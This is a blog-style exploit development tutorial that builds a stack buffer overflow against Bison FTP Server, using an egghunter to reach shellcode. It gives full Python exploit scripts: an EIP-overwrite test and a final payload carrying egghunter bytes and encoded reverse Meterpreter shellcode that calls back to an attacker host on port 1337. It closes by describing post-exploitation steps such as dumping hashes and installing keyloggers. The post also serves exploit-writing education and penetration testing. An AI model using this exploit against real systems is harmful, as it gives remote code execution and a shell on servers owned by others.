Often times when we are writing exploits, we find there isn’t enough buffer space given to us to store our shellcode in. In these situations, we must store our shellcode in some other memory region and jump to the location, but sometimes this is easier said than done. Perhaps our shellcode is stored in a distant address that requires a 5 byte jump to access or perhaps .
In this post, I will be going over egghunting, which is a commonly used solution to overcome these limitations.
Please note that it is of course, not the only solution.
I have overcome these limitations in my previous posts using other techniques but for the sake of education and learning this technique I will be utilizing an egghunter to write my exploit on the Bison FTP Server.
For the uninitiated, egghunting is a technique employed by exploit developers that involves using a unique key or an egg, to search
a process’s virtual address space for shellcode stored in some other memory region. In order to find and execute the shellcode, it is “tagged” by prepending the shellcode with the 4-byte egg repeated twice. For example, if the egg is “w00t” then the egghunter searches for the string “w00tw00t”. “Why is the egg repeated twice?”, you ask? For optimization purposes. Having to search for 1 unique DWORD repeated twice allows the egghunter to be smaller than if it had to search for 2 unique DWORDs.
Now that we understand the basic concept of egghunting, let’s get started.
After fuzzing the Bison FTP Server application, I found it crashed when making a directory of about 1800 bytes.
Next, I began making my exploit by sending it a unique 2000-byte pattern generated by Metasploit and finding the offsets of the registers
As a side note, after familiarizing myself more with mona.py, I am now truly convinced that it is indeed, the swiss army knife for exploit developers. We will see why in this post as we continue making our exploit.
Looking at our log file, we see that our EIP exists at offset 1428 so we can assume that we can control EIP by padding the beginning of our buffer with 1428 bytes. I tested this out using “babecafe” as my return address:
#!/usr/bin/python import sys import socket addr = ("192.168.11.22", 21) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer = "A"*1428 + "\xba\xbe\xca\xfe" + "B"*568 s.connect(addr) s.recv(1024) s.send('USER ftp\r\n') s.recv(1024) s.send('PASS ftp\r\n') s.recv(1024) s.send("MKD "+buffer+"\r\n") s.close()
And sure enough, when we send this code we see that EIP is overwritten with our DWORD in 2’s compliment form:
Now that we have control over EIP, where do we direct it to?
Since we will be egghunting, the first stage of our payload will be to jump to our egghunter.
Let’s generate our egghunter code with mona.py using “w00t” as our egg so we know how much space we’ll need to store it in our payload.
Looks like we’ll only be needing 32 bytes. After examining the other registers and seeing which ones were also overwritten by our buffer when it was sent, I found that the EDX register was a good place to store our egghunter. As we saw in our log earlier, the EDX register exists at offset 1024. That is where we will be placing our egg hunter.
Now that we know where to direct EIP to, we must find a JMP EDX instruction loaded in some non-ASLR enabled module in our process that exists at an address without any null bytes. Again, mona.py makes this search a painless process.
If we examine our log.txt file, we can view the rest of the results:
I just chose the first CALL EDX instruction that didn’t start with null-bytes. It does the same thing as JMP EDX essentially. The address of that instruction is 0x7c87a0be
Now let’s begin the second stage of our exploit. We must now generate our shellcode and store it somewhere in our payload.
Let’s figure out how much space we have to work with.
After looking around a bit in Immunity I noticed that the end of our payload was getting cut off, leaving me only about 90 bytes of buffer space post-EIP to work with. Clearly that isn’t enough. The beginning of our buffer looks ideal though. Our egghunter exists at an offset of 1024 bytes so we have 1024 bytes to use for our shellcode if we place it at the beginning of our buffer. That should probably be enough space.
Using msfpayload to create reverse Meterpreter session shellcode and piping it to msfencode to remove any bad chars, I found I only needed 317 bytes for my desired shellcode. Perfect.
By the way, for those unfamiliar with Meterpreter it is essentially a shell on steroids. It is a staged, advanced payload that supports many useful dynamic exploitation and post-exploitation functions. Very useful for penetration testers and my personal favorite payload in the Metasploit Framework.
Now that we have gathered all the essential parts of our buffer, all that’s left to do now is to tag the shellcode by prepending it with our 4-byte egg repeated twice, and padding the rest of the space to ensure the functionality of our payload.
My final exploit script looks like this:
#!/usr/bin/python import sys import socket addr = ("192.168.11.22", 21) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #egg is "w00t" #egghunter is 32 bytes egghunter =("\x66\x81\xca\xff" "\x0f\x42\x52\x6a" "\x02\x58\xcd\x2e" "\x3c\x05\x5a\x74" "\xef\xb8\x77\x30"#w0 "\x30\x74\x8b\xfa"#0t "\xaf\x75\xea\xaf" "\x75\xe7\xff\xe7") #Reverse Meterpreter to 192.168.10.107 port 1337 Shellcode. Size = 317 bytes. shellcode =("\xdd\xc2\xbd\x6f\x6f\x1f\xb8\xd9\x74\x24\xf4\x5e\x33\xc9" "\xb1\x49\x83\xc6\x04\x31\x6e\x15\x03\x6e\x15\x8d\x9a\xe3" "\x50\xd8\x65\x1c\xa1\xba\xec\xf9\x90\xe8\x8b\x8a\x81\x3c" "\xdf\xdf\x29\xb7\x8d\xcb\xba\xb5\x19\xfb\x0b\x73\x7c\x32" "\x8b\xb2\x40\x98\x4f\xd5\x3c\xe3\x83\x35\x7c\x2c\xd6\x34" "\xb9\x51\x19\x64\x12\x1d\x88\x98\x17\x63\x11\x99\xf7\xef" "\x29\xe1\x72\x2f\xdd\x5b\x7c\x60\x4e\xd0\x36\x98\xe4\xbe" "\xe6\x99\x29\xdd\xdb\xd0\x46\x15\xaf\xe2\x8e\x64\x50\xd5" "\xee\x2a\x6f\xd9\xe2\x33\xb7\xde\x1c\x46\xc3\x1c\xa0\x50" "\x10\x5e\x7e\xd5\x85\xf8\xf5\x4d\x6e\xf8\xda\x0b\xe5\xf6" "\x97\x58\xa1\x1a\x29\x8d\xd9\x27\xa2\x30\x0e\xae\xf0\x16" "\x8a\xea\xa3\x37\x8b\x56\x05\x48\xcb\x3f\xfa\xec\x87\xd2" "\xef\x96\xc5\xba\xdc\xa4\xf5\x3a\x4b\xbf\x86\x08\xd4\x6b" "\x01\x21\x9d\xb5\xd6\x46\xb4\x01\x48\xb9\x37\x71\x40\x7e" "\x63\x21\xfa\x57\x0c\xaa\xfa\x58\xd9\x7c\xab\xf6\xb2\x3c" "\x1b\xb7\x62\xd4\x71\x38\x5c\xc4\x79\x92\xf5\x6e\x83\x75" "\x3a\xc6\x81\xee\xd2\x14\x96\xf5\x1b\x91\x70\x9f\x4b\xf7" "\x2b\x08\xf5\x52\xa7\xa9\xfa\x49\xcd\xea\x71\x7d\x31\xa4" "\x71\x08\x21\x51\x72\x47\x1b\xf4\x8d\x72\x36\xf9\x1b\x78" "\x91\xae\xb3\x82\xc4\x99\x1b\x7d\x23\x92\x92\xeb\x8c\xcd" "\xda\xfb\x0c\x0e\x8d\x91\x0c\x66\x69\xc1\x5e\x93\x76\xdc" "\xf2\x08\xe3\xde\xa2\xfd\xa4\xb6\x48\xdb\x83\x19\xb2\x0e" "\x12\x66\x65\x77\x90\x9e\x03\x9b\x58") #buffer is 2000 bytes #eip offset 1428 #edx offset 1024 #call edx - 0x7c87a0be buffer = "w00tw00t"+shellcode+"A"*699+egghunter+"\x90"*372+ "\xbe\xa0\x87\x7c" + "B"*568 s.connect(addr) s.recv(1024) s.send('USER ftp\r\n') s.recv(1024) s.send('PASS ftp\r\n') s.recv(1024) print "[*] Sending evil buffer..." s.send("MKD "+buffer+"\r\n") s.close() print "[*] Buffer successfully sent! Reverse Meterpreter shell now opening on port 1337!"
Excellent. Now let’s open up a handler using Metasploit so that we can accept our incoming payload and send our exploit to our Bison FTP Server…
Take a look at what happens on our handler:
So as we can see, our exploit was successful and a Meterpreter session opened up for us allowing us to perform a whole host of different attacks. We can now easily dump user hashes, install trojans, install key-loggers, drop into a shell, etc.